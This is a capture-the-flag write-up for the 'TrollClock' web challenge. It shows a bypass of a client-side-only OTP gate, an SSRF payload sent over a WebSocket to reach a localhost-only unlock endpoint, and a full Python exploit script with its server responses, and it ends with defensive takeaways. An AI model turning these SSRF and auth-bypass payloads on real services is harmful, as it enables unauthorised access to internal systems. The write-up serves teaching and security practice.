TrollClock: Web
On this page
Flag: KPMG_CTF{4b_WZ0DGCZpqrXPOLwh-3jevywhFXdaSUcuEm1bWD1wh}
Category: Web (WebSocket · SSRF · JS deobfuscation)
Target: https://kicyber-29ea3a686196-trollclock-0-0.chals.io/
Brief
You start with errors and you learn to live with it.
A Node/Express + ws app. The page shows a fake “one-time code” clock and claims a new
challenge is issued every 37 seconds. The flag arrives over a WebSocket. The tagline is the
hint: there are several dead-ends/decoys layered on top of each other, and you learn which
“errors” don’t matter.
Step 1: Read the client
The homepage JS shows the whole flow:
- The OTP shown on screen is generated client-side (
Math.random()), re-rolled every 10s. - Clicking verify POSTs the code to
/verify-otp; on success it POSTs/dashboard, then opens a WebSocket to/wsand sends{type:"submit_window", answer: ...}. - A telling comment: “This page is just one way to talk to the socket … sending submit_window here is equivalent to crafting the same raw JSON message yourself.” → the WS is the target.
Step 2: The OTP is a red herring
/verify-otp rejects everything (invalid otp, try again) and there’s no obvious way to know
the server’s code. But the client only calls /dashboard after a successful OTP. Does the
server actually enforce that order?
$ curl -sk -X POST https://$H/dashboard -D -
HTTP/1.1 200 OK
Set-Cookie: sid=1a82bf16...; HttpOnly; Path=/; Max-Age=86400; SameSite=Lax
{"ok":true}
No. /dashboard hands out a session cookie with no OTP check. The entire OTP stage is
cosmetic: skip straight to the WebSocket with that sid.
Step 3: The WebSocket won’t start
Connecting to /ws with the sid cookie:
<< {"origin":"http://localhost:3000","type":"hello",
"message":"tip: this clock can sync against an external time source for better accuracy."}
>> {"type":"submit_window","answer":"test"}
<< {"type":"mock","message":"the clock is not running yet"}
Two leads: every server message carries an origin: http://localhost:3000, and the clock
needs to be started via some “external time source” sync.
Step 4: robots.txt spells out the protocol
$ curl -sk https://$H/robots.txt
User-agent: *
Disallow: /internal/
# the key that starts the clock isn't a password, it's a type: clock_sync
# send it down the wire the clock is already listening on.
# it only trusts messages that claim to come from home: /internal/clock-unlock
So: send {type:"clock_sync"} over the WS, and it must reference /internal/clock-unlock,
which is forbidden from outside:
$ curl -sk https://$H/internal/clock-unlock
{"error":"forbidden: internal use only"} # HTTP 403
Step 5: SSRF via the “time source”
The clock_sync message takes an origin field that is a URL the server fetches
itself, returning the response body back over the socket. That’s a server-side request,
and a request originating from the server reaches the internal endpoint the 403 was blocking:
>> {"type":"clock_sync","origin":"http://localhost:3000/internal/clock-unlock"}
<< {"type":"clock_sync_result","status":200,
"body":"{\"unlock\":\"granted\",\"message\":\"the clock will start now\"}"}
<< {"type":"verifier_challenge","code":"(function () { ... })"}
(Proof it’s a generic SSRF: origin:"http://localhost:3000" returns the homepage HTML in
body; a bare path returns Failed to parse URL.)
Unlocking the clock makes the server issue a verifier_challenge: an obfuscated JS
function to evaluate for the answer.
Step 6: The verifier is meant to be executed, not read
The code is a randomized state-machine with decoys (re-generated each time), e.g.:
(function () {
_stp1snmc = 5917;
while (_stp1snmc !== 6826) { switch (_stp1snmc) {
case 8948: { _hdx4z76v = { v: 819106 };
_px2d4vi2 = new Proxy(_hdx4z76v, { get:(t,p)=> p!=='v'? t[p] : t.v - 162457 }); ... }
case 6848: { // decoy branch
if (Object.prototype.__trollBypass) { _stp1snmc = 6619; } // returns a fake "365402"
else { _stp1snmc = 8948; } break; }
case 4166: { _smar4fkd = (_px2d4vi2.v + _pxwkiogm.v + _pxrqgtgv.v) % 1000000;
_rslo2072 = String(_smar4fkd).padStart(6,'0'); _stp1snmc = 6826; break; }
}} return _rslo2072;
})
The constants change every challenge and the Proxy getters mutate the values on access, so
static analysis is a trap (the __trollBypass “fast path” is a decoy). Just run it in a
locked-down sandbox and read the 6-digit return. Then submit it in time:
>> {"type":"submit_window","answer":"058982"}
<< {"type":"flag","flag":"KPMG_CTF{4b_WZ0DGCZpqrXPOLwh-3jevywhFXdaSUcuEm1bWD1wh}"}
Full exploit
import json, ssl, subprocess, urllib.request, websocket
H="kicyber-29ea3a686196-trollclock-0-0.chals.io"
def sid():
r=urllib.request.urlopen(urllib.request.Request(f"https://{H}/dashboard",method="POST",data=b""),
context=ssl._create_unverified_context())
return r.headers.get("Set-Cookie","").split(";")[0]
def eval_code(code): # run the verifier in a no-globals Node vm, 2s timeout
harness=("const vm=require('vm');let s='';process.stdin.on('data',d=>s+=d);"
"process.stdin.on('end',()=>process.stdout.write(String("
"vm.runInNewContext('('+s+')',Object.create(null),{timeout:2000})())));")
return subprocess.run(["node","-e",harness],input=code.encode(),
capture_output=True,timeout=10).stdout.decode().strip()
ws=websocket.create_connection(f"wss://{H}/ws",header=[f"Cookie: {sid()}"],
sslopt={"cert_reqs":ssl.CERT_NONE},timeout=8); ws.settimeout(6)
ws.recv() # hello
ws.send(json.dumps({"type":"clock_sync","origin":f"http://localhost:3000/internal/clock-unlock"}))
ans=None
for _ in range(6):
d=json.loads(ws.recv())
if d.get("type")=="verifier_challenge": ans=eval_code(d["code"])
if ans:
ws.send(json.dumps({"type":"submit_window","answer":ans}))
for _ in range(8):
m=ws.recv()
if '"flag"' in m: print(m); break
Summary
| Layer | Decoy / gate | Reality |
|---|---|---|
| OTP clock | Client-side random code, /verify-otp always fails |
/dashboard grants a session with no OTP check |
| Start the clock | submit_window → “clock is not running yet” |
Needs a clock_sync message (per robots.txt) |
| Internal unlock | /internal/clock-unlock → 403 forbidden |
clock_sync.origin is an SSRF; fetch it from localhost |
| Verifier | Obfuscated JS with a __trollBypass “fast path” decoy |
Execute the function, submit its 6-digit result |
| Flag | None | KPMG_CTF{4b_WZ0DGCZpqrXPOLwh-3jevywhFXdaSUcuEm1bWD1wh} |
Takeaways
- Enforce multi-step flows server-side. Here the OTP gate lived only in client JS, so
/dashboardcould be called directly. robots.txtis recon gold: this one documented the exact WS message needed.- A “fetch an external URL for me” feature is SSRF until proven otherwise. The
clock_syncorigin let a request originate from the server and reach a localhost-only endpoint that returned 403 to the outside. - When a challenge hands you obfuscated code whose constants change each round, don’t
deobfuscate by hand; run it in a sandbox (Node
vmwith an empty context + timeout) and read the output. The__trollBypassbranch was bait to lure manual analysis down a fake path.